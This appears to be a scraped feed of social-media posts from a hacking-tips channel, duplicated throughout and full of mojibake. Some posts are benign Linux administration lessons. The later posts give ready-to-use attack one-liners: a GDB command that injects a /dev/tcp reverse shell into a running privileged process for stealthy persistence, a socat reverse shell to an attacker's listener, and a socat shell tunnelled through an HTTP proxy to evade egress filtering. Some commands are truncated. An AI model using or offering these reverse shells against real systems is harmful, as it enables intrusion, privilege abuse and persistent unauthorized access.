π File Navigation in Linux
π Key Commands
π§ͺ Task of the Day
Install and use tree:
π Linux Directory Breakdown
β οΈ Security Note:
These directories are often involved in privilege escalation or persistence in real-world attacks.
#Linux #Terminal #CyberSecurity
π Key Commands
ls - List directory contentscd - Change directorypwd - Show current pathtree - Display directory structurehistory - View command historyπ§ͺ Task of the Day
cd /
ls
cd etc
pwd
cd ~
ls -la
Install and use tree:
sudo apt install tree
tree /home
π Linux Directory Breakdown
/etc - Configuration files/var - Logs, web files, variable data/home - User directories/tmp - Temporary storage/root - Root user homeβ οΈ Security Note:
These directories are often involved in privilege escalation or persistence in real-world attacks.
#Linux #Terminal #CyberSecurity
π File Permission Breakdown
π§ Permission Notation
π§ Commands
π§ͺ Task of the Day
π© Real-World Hacking
π₯ Root-owned script + group-writable = escalation
π₯ Misconfigured crontabs = root shell
π₯ Permissions = hacker's tool
π https://t.me/TheExploitLabX
#Linux #Permissions #CyberSecurity
ls -l example:-rwxr-xr-- 1 user group 1337 Jan 1 exploit.sh
- = file (d=dir, l=symlink)rwx = owner: read, write, executer-x = group: read, executer-- = others: read onlyπ§ Permission Notation
rwxr-xr-- = 754rwxrwxrwx = 777 (dangerous!)π§ Commands
chmod +x file
chmod 755 file
chown user:group file
π§ͺ Task of the Day
echo 'echo hacked' > test.sh
chmod +x test.sh
./test.sh
chmod 777 test.sh
ls -l
sudo chown root:root test.sh
π© Real-World Hacking
π₯ Root-owned script + group-writable = escalation
π₯ Misconfigured crontabs = root shell
π₯ Permissions = hacker's tool
π https://t.me/TheExploitLabX
#Linux #Permissions #CyberSecurity
π Discover Open Ports & Services on Your Linux System!
Ever wondered what services are listening on your machine? This one-liner does the trick:
What it does:
-
-
-
π’ Follow for more Linux tips & cybersecurity insights!
π Twitter
π Telegram
π YouTube
#Linux #Cybersecurity #Networking #TheExploitLab
Ever wondered what services are listening on your machine? This one-liner does the trick:
ss -tlpn | awk 'NR>1 {gsub(/.*:/,"",$4); split($7,p,","); print $4, p[2]}' | sort -n | uniqWhat it does:
-
ss -tlpn: Lists all TCP/UDP listening ports and processes.-
awk: Extracts the port number and process name.-
sort -n | uniq: Sorts and removes duplicates for a clean output.π’ Follow for more Linux tips & cybersecurity insights!
π Twitter
π Telegram
π YouTube
#Linux #Cybersecurity #Networking #TheExploitLab
X (formerly Twitter)
The Exploit Lab (@TheExploitLab) on X
:)
π¨ Top 5 IP Addresses Attempting SSH Brute Force Attacks!
Ever wondered who's trying to brute force your SSH server? This one-liner extracts the top 5 IP addresses with failed password attempts from your
How it works:
1.
2.
3.
4.
π Why monitor this?
- Identify malicious IPs targeting your server.
- Block them using
π’ Stay updated with more security tips:
π¦ X (Twitter)
πΊ YouTube
π¬ Telegram
#CyberSecurity #SSH #Linux #TheExploitLab
Ever wondered who's trying to brute force your SSH server? This one-liner extracts the top 5 IP addresses with failed password attempts from your
/var/log/auth.log:
sudo grep "Failed password" /var/log/auth.log 2>/dev/null | grep -oE "([0-9]{1,3}\.){3}[0-9]{1,3}" | sort | uniq -c | sort -rn | head -5
How it works:
1.
grep "Failed password" β Filters failed login attempts.2.
grep -oE "([0-9]{1,3}\.){3}[0-9]{1,3}" β Extracts IP addresses.3.
sort | uniq -c | sort -rn β Counts and sorts IPs by frequency.4.
head -5 β Shows the top 5 offenders.π Why monitor this?
- Identify malicious IPs targeting your server.
- Block them using
iptables or fail2ban.π’ Stay updated with more security tips:
π¦ X (Twitter)
πΊ YouTube
π¬ Telegram
#CyberSecurity #SSH #Linux #TheExploitLab
X (formerly Twitter)
The Exploit Lab (@TheExploitLab) on X
:)
π Top Memory Consumers on Your Linux System
Ever wondered which users are hogging the most RAM on your Linux machine? This one-liner breaks it down for you:
What it does:
- Lists all users and their total memory usage in GB.
- Sorts them from highest to lowest.
- Shows only the top 10 memory consumers.
Why itβs useful:
β Quickly identify resource-heavy users.
β Helpful for server admins and troubleshooting.
β No extra tools neededβjust pure Bash!
π’ Follow for more Linux tips & tricks:
π¦ Twitter
π Telegram
π₯ YouTube
#Linux #SysAdmin #Bash #CommandLine #TheExploitLab
Ever wondered which users are hogging the most RAM on your Linux machine? This one-liner breaks it down for you:
ps -eo user:20,rss | awk 'NR>1{m[$1]+=$2}END{for(u in m)printf"%s:%.2fGB\n",u,m[u]/1024/1024}'|sort -rnk2|headWhat it does:
- Lists all users and their total memory usage in GB.
- Sorts them from highest to lowest.
- Shows only the top 10 memory consumers.
Why itβs useful:
β Quickly identify resource-heavy users.
β Helpful for server admins and troubleshooting.
β No extra tools neededβjust pure Bash!
π’ Follow for more Linux tips & tricks:
π¦ Twitter
π Telegram
π₯ YouTube
#Linux #SysAdmin #Bash #CommandLine #TheExploitLab
π§ Inject Reverse Shell into Live Process
ββββββββββββββββββββββββββ
Injects a reverse shell into a running process using GDB, allowing remote code execution and persistence.
π Command:
π‘ Use Case: During post-exploitation, inject a reverse shell into a long-running, privileged process (e.g., a web server or database process) to maintain access or escalate privileges without leaving new files on disk.
π© Flags:
β
β
β
β
β
ββββββββββββββββββββββββββ
#Linux #CommandLine #SysAdmin #Hacking #Kali
ββββββββββββββββββββββββββ
π 03 Mar 2026 β’ 17:22 | @TheExploitLabX
ββββββββββββββββββββββββββ
Injects a reverse shell into a running process using GDB, allowing remote code execution and persistence.
π Command:
gdb -p <target_PID> -ex 'call (void)system("bash -i >& /dev/tcp/<attacker_IP>/<attacker_port> 0>&1")' -ex 'detach' -ex 'quit'π‘ Use Case: During post-exploitation, inject a reverse shell into a long-running, privileged process (e.g., a web server or database process) to maintain access or escalate privileges without leaving new files on disk.
π© Flags:
β
-p <PID>: Attach GDB to a running process specified by its Process ID.β
-ex '<command>': Execute the specified GDB command non-interactively.β
call (void)system(...): Invoke the `system()` function within the target process's context to execute a shell command.β
detach: Detach GDB from the target process, allowing it to continue execution unaffected.β
quit: Exit the GDB debugger after executing commands.ββββββββββββββββββββββββββ
#Linux #CommandLine #SysAdmin #Hacking #Kali
ββββββββββββββββββββββββββ
π 03 Mar 2026 β’ 17:22 | @TheExploitLabX
π§ Socat Interactive Reverse Shell
ββββββββββββββββββββββββββ
Establishes a fully interactive reverse shell over TCP to an attacker's listener.
π Command:
π‘ Use Case: Gaining an interactive TTY shell on a compromised Linux machine from an attacker's listener (e.g., `socat -d -d TCP-LISTEN:<ATTACKER_PORT> PTY,raw,echo=0,stderr`).
π© Flags:
β
β
β
β
β
β
β
ββββββββββββββββββββββββββ
#Linux #CommandLine #SysAdmin #Hacking #Kali
ββββββββββββββββββββββββββ
π 03 Mar 2026 β’ 17:29 | @TheExploitLabX
ββββββββββββββββββββββββββ
Establishes a fully interactive reverse shell over TCP to an attacker's listener.
π Command:
socat TCP:<ATTACKER_IP>:<ATTACKER_PORT> EXEC:'bash -li',pty,stderr,setsid,sigint,sane
π‘ Use Case: Gaining an interactive TTY shell on a compromised Linux machine from an attacker's listener (e.g., `socat -d -d TCP-LISTEN:<ATTACKER_PORT> PTY,raw,echo=0,stderr`).
π© Flags:
β
TCP:<IP>:<PORT>: Specifies the TCP connection target (attacker's IP and port).β
EXEC:'bash -li': Executes `/bin/bash` in login interactive mode for the shell.β
pty: Allocates a pseudo-terminal for a fully interactive shell experience.β
stderr: Redirects standard error to the network connection.β
setsid: Creates a new session ID, detaching the process from the parent.β
sigint: Forwards Ctrl+C (SIGINT) signals to the spawned shell.β
sane: Resets terminal settings to a standard, functional state.ββββββββββββββββββββββββββ
#Linux #CommandLine #SysAdmin #Hacking #Kali
ββββββββββββββββββββββββββ
π 03 Mar 2026 β’ 17:29 | @TheExploitLabX
π§ Web Root Sensitive Data Scan
ββββββββββββββββββββββββββ
Recursively searches a web root for common sensitive data patterns within various file types.
π Command:
ββββββββββββββββββββββββββ
#Linux #CommandLine #SysAdmin #Hacking #Kali
ββββββββββββββββββββββββββ
π 03 Mar 2026 β’ 17:31 | @TheExploitLabX
ββββββββββββββββββββββββββ
Recursively searches a web root for common sensitive data patterns within various file types.
π Command:
find /var/www/html -type f \( -name "*.php" -o -name "*.js" -o -name "*.txt" -o -name "*.conf
ββββββββββββββββββββββββββ
#Linux #CommandLine #SysAdmin #Hacking #Kali
ββββββββββββββββββββββββββ
π 03 Mar 2026 β’ 17:31 | @TheExploitLabX
π§ Proxy Reverse Shell Magic
ββββββββββββββββββββββββββ
Establishes an interactive reverse shell through an HTTP proxy to bypass network egress filtering.
π Command:
π‘ Use Case:
ββββββββββββββββββββββββββ
#Linux #CommandLine #SysAdmin #Hacking #Kali
ββββββββββββββββββββββββββ
π 03 Mar 2026 β’ 18:49 | @TheExploitLabX
ββββββββββββββββββββββββββ
Establishes an interactive reverse shell through an HTTP proxy to bypass network egress filtering.
π Command:
socat TCP:proxy.example.com:8080 PROXY:attacker_ip:4444,proxytype=http EXEC:'/bin/bash -li
π‘ Use Case:
ββββββββββββββββββββββββββ
#Linux #CommandLine #SysAdmin #Hacking #Kali
ββββββββββββββββββββββββββ
π 03 Mar 2026 β’ 18:49 | @TheExploitLabX
π Meet wifit3 β Cross-Platform Wi-Fi Security Auditing Tool
Looking for a powerful open-source wireless security tool? π
π What is wifit3?
wifit3 is a Python-based USB Wi-Fi auditing tool designed to run on Windows, Linux, and macOS using compatible USB wireless adapters.
π₯ Key Features
π‘ Real-time Wi-Fi scanning and signal tracking
π₯ Multi-adapter support
π WPA/WPA2 handshake capture support
π‘ PMKID collection and WPS security testing
πΆ Wireless security analysis and legacy WEP testing
βοΈ Built-in user-space wireless drivers
π» Prebuilt releases available for supported platforms
π₯ GitHub Repository
https://github.com/derv82/wifit3
β¬οΈ Download Latest Releases
Get wifit3 here
β οΈ Requirements & Safety
A compatible USB Wi-Fi adapter is required. Use this tool only on networks and devices you own or have explicit permission to audit.
π‘ Explore the code, check the supported hardware list, and learn more from the official repository!
#CyberSecurity #EthicalHacking #WiFiSecurity #Python #Linux #OpenSource #InfoSec
Looking for a powerful open-source wireless security tool? π
π What is wifit3?
wifit3 is a Python-based USB Wi-Fi auditing tool designed to run on Windows, Linux, and macOS using compatible USB wireless adapters.
π₯ Key Features
π‘ Real-time Wi-Fi scanning and signal tracking
π₯ Multi-adapter support
π WPA/WPA2 handshake capture support
π‘ PMKID collection and WPS security testing
πΆ Wireless security analysis and legacy WEP testing
βοΈ Built-in user-space wireless drivers
π» Prebuilt releases available for supported platforms
π₯ GitHub Repository
https://github.com/derv82/wifit3
β¬οΈ Download Latest Releases
Get wifit3 here
β οΈ Requirements & Safety
A compatible USB Wi-Fi adapter is required. Use this tool only on networks and devices you own or have explicit permission to audit.
π‘ Explore the code, check the supported hardware list, and learn more from the official repository!
#CyberSecurity #EthicalHacking #WiFiSecurity #Python #Linux #OpenSource #InfoSec
GitHub
GitHub - derv82/wifit3: Wifite but USB-only & cross-platform.
Wifite but USB-only & cross-platform. Contribute to derv82/wifit3 development by creating an account on GitHub.